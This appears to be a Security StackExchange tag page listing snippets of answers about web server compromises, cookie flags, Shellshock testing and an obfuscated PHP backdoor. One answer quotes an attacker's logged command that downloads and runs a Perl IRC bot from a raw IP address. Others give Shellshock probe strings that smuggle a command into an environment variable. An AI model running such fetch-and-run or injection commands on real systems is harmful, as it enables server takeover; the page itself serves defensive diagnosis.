Tag Info

New answers tagged

1

I would guess this is a spider doing cache busting. The get parameter is ignored by the server and client, but since the get parameters are part of the url (as far as the caches are concerned) the url has never been seen before, so it forces a fresh load from the web server.


2

Securely storing web application on untrusted server is not possible. Even if you would encrypt database on the server, you could not use server-side commands. Everything would have to be processed on the client (who has private key or password), including login, so this method is insecure as well.


0

Thanks for all support. These have been my findings after a thorough investigation: The ownership for both scripts found in /tmp has been the Apache user. The /tmp directory is writable by Apache. I compared the creation date with any relevant log and I found in the Apache logs how they entered in the system. It turns out that they exploited the magento ...


2

The HttpOnly flag only serves to protect sensitive cookies from scripts. Assuming the load balancing cookie is only concerned with routing through to a specific server and cannot identify a client, there's no harm in this cookie being exposed. A XSS attack will only identify which server the browser is connecting to, and not anything specific to the client ...


2

The course of action is to wipe the machine and install everything from the stored image or from scratch. It's just too hard to be confident that you've cleaned them. Especially once the attacker has gotten root access.


2

How to reproduce the same? There are multiple answers on this site for exactly that question. Typing HTTP method into the Search box pulls up: How to exploit HTTP Methods How to identify the HTTP methods supported by a web server? Testing for HTTP TRACE method How can I test that I have correctly disabled unnecessary HTTP methods? How ...


1

This is an old perl irc bot: ... ;cd /var/tmp; wget 85.214.60.234/den;perl den;rm -fr den;c... At time I write this, I already do the wget and some inspection: cd /tmp wget 85.214.60.234/den sed -e 's/^\(.\{78\}\).*/\1/;12q' den #!/usr/bin/perl ############################################################################## ...


1

There's no way to tell from the logfile alone. The "200 OK" response just means your webserver is running and has an index page at "/" -- something true of almost every webserver in the world. If x='() { :;}; echo VULNERABLE' bash -c : doesn't print the word VULNERABLE, you almost certainly aren't vulnerable.


1

The payload is encrypted using a simple autokey cipher, using md5($_f__f).substr(md5(strrev($_f__f)),0,strlen($_f__f)) as the password. You could try the usual techniques for attacking autokey ciphers, but the length of the password (at least 32 characters) and the fact that the plaintext is gzip-compressed make it impractical.


0

This function calculates the MD5 hash from the POST value "_f__f". It is impossible to get the original value from a MD5 hash because it's a hash and not an encryption.


0

I got the same case, to check is your server are vulnerable to ShellShock: #!/bin/bash EXITCODE=0 # CVE-2014-6271 CVE20146271=$(env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test" 2>&1 | grep 'vulnerable' | wc -l) echo -n "CVE-2014-6271 (original shellshock): " if [ $CVE20146271 -gt 0 ]; then echo -e ...



Top 50 recent answers are included